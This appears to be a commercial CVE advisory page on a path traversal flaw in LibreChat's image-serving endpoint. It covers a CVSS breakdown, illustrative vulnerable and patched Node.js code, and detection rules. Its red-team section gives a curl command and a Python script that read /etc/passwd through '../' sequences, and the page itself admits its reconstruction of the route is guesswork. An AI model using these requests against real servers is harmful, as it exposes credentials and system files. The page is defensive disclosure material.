CVE-2024-41704
Executive Summary
CVE-2024-41704 is a path traversal vulnerability in LibreChat versions up to and including 0.7.4-rc1. The application fails to validate normalized pathnames of images, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem. This can lead to disclosure of sensitive configuration files, source code, or credentials. The vulnerability is publicly known with proof-of-concept code available, but no official patch has been released as of this analysis. The CVSS score is 0.0 in the NVD due to incomplete scoring, but based on the vector, the severity is HIGH (7.5).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
LibreChat is an open-source chat application built with Node.js and React. The vulnerability exists in the image serving logic, which is part of the core application code. No third-party package is directly responsible, but the application's dependency on user-supplied paths without proper sanitization introduces the risk. Users should audit their deployment for any custom modifications or plugins that might also handle file paths.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Overall CVSS Score: 7.5 (HIGH)
Threat Level: Critical for confidentiality. An attacker can read /etc/passwd, application configuration files (e.g., .env), or source code.
Deep Dive & Mechanics
The vulnerability lies in the image serving endpoint. LibreChat likely uses a route like /images/{path} to serve user-uploaded images. The application does not validate that the normalized (resolved) path stays within the intended upload directory. By using path traversal sequences such as ../, an attacker can escape the upload directory and read any file the server process has access to.
Root Cause: The application uses a function like path.normalize() or path.resolve() on user input but fails to check that the resulting path starts with the allowed base directory. For example, if the base directory is /var/lib/librechat/uploads, an input like ../../../etc/passwd normalizes to /etc/passwd, which is outside the base.
Attack Flow:
- Attacker sends a GET request to
/images/../../../etc/passwd. - The server normalizes the path to
/etc/passwd. - The server reads and returns the file content without verifying the path is within the uploads directory.
Vulnerable vs. Patched Code
Vulnerable Code (Node.js example):
const path = require('path');
const fs = require('fs');
app.get('/images/:path', (req, res) => {
const filePath = path.normalize(req.params.path);
// No check if filePath is within allowed directory
fs.readFile(filePath, (err, data) => {
if (err) return res.status(404).send('Not found');
res.send(data);
});
});
Patched Code:
const path = require('path');
const fs = require('fs');
const UPLOADS_DIR = path.resolve(__dirname, 'uploads');
app.get('/images/:path', (req, res) => {
const requestedPath = path.normalize(req.params.path);
const fullPath = path.join(UPLOADS_DIR, requestedPath);
// Ensure the resolved path is within the uploads directory
if (!fullPath.startsWith(UPLOADS_DIR)) {
return res.status(403).send('Forbidden');
}
fs.readFile(fullPath, (err, data) => {
if (err) return res.status(404).send('Not found');
res.send(data);
});
});
Exploitation & Lab Setup
Red Team
Proof-of-Concept (PoC) Exploit:
# Read /etc/passwd
curl -v "http://target:3080/images/../../../etc/passwd"
Automated Exploit Script (Python):
import requests
target = "http://target:3080"
payload = "/images/../../../etc/passwd"
response = requests.get(target + payload)
if response.status_code == 200:
print(response.text)
else:
print(f"Failed: {response.status_code}")
Lab Setup:
- Deploy LibreChat 0.7.4-rc1 using Docker:
docker run -d -p 3080:3080 ghcr.io/librechat/librechat:v0.7.4-rc1 - Verify the application is running.
- Execute the PoC to confirm file read.
Blue Team
Detection Steps:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Check for requests to
/images/with suspicious path components. - Use file integrity monitoring to detect unauthorized reads of sensitive files.
Hunting Query (Splunk):
index=web_logs source="/var/log/nginx/access.log"
| where like(uri, "%/images/%../%")
| stats count by src_ip, uri, status
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests containing
../in the/images/endpoint. - Requests to
/images/../../../etc/passwdor similar.
- HTTP GET requests containing
- File IOCs:
- Unauthorized access to
/etc/passwd,/etc/shadow,.env,config.js.
- Unauthorized access to
- Log IOCs:
- Web server logs showing 200 responses to path traversal patterns.
Detection Engineering
YARA Rule
rule CVE_2024_41704_PathTraversal {
meta:
description = "Detects path traversal attempts in LibreChat image endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-41704"
strings:
$traversal1 = "../" ascii wide nocase
$traversal2 = "..\\" ascii wide nocase
$traversal3 = "%2e%2e%2f" ascii wide nocase
$traversal4 = "%2e%2e\\" ascii wide nocase
$endpoint = "/images/" ascii wide nocase
condition:
$endpoint and any of ($traversal*)
}
Sigma Rule
title: CVE-2024-41704 LibreChat Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting LibreChat image endpoint
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-41704
logsource:
category: webserver
product: nginx
detection:
selection:
cs-uri-query|contains:
- "/images/../"
- "/images/..\\"
- "/images/%2e%2e%2f"
- "/images/%2e%2e\\"
condition: selection
falsepositives:
- Legitimate use of ".." in filenames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-41704 LibreChat Path Traversal Attempt"; flow:to_server,established; content:"/images/"; http_uri; content:"../"; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade LibreChat to a version beyond 0.7.4-rc1 once a patch is released.
- Apply a WAF rule to block path traversal patterns in the
/images/endpoint. - Restrict file permissions so the application runs with minimal read access.
Long-Term Fix:
- Implement strict path validation as shown in the patched code example.
- Use a whitelist of allowed file extensions and directories.
- Conduct a security audit of all file-serving endpoints.
Workaround:
- If upgrading is not possible, modify the application code to add path normalization checks (see patched code).
Valters IT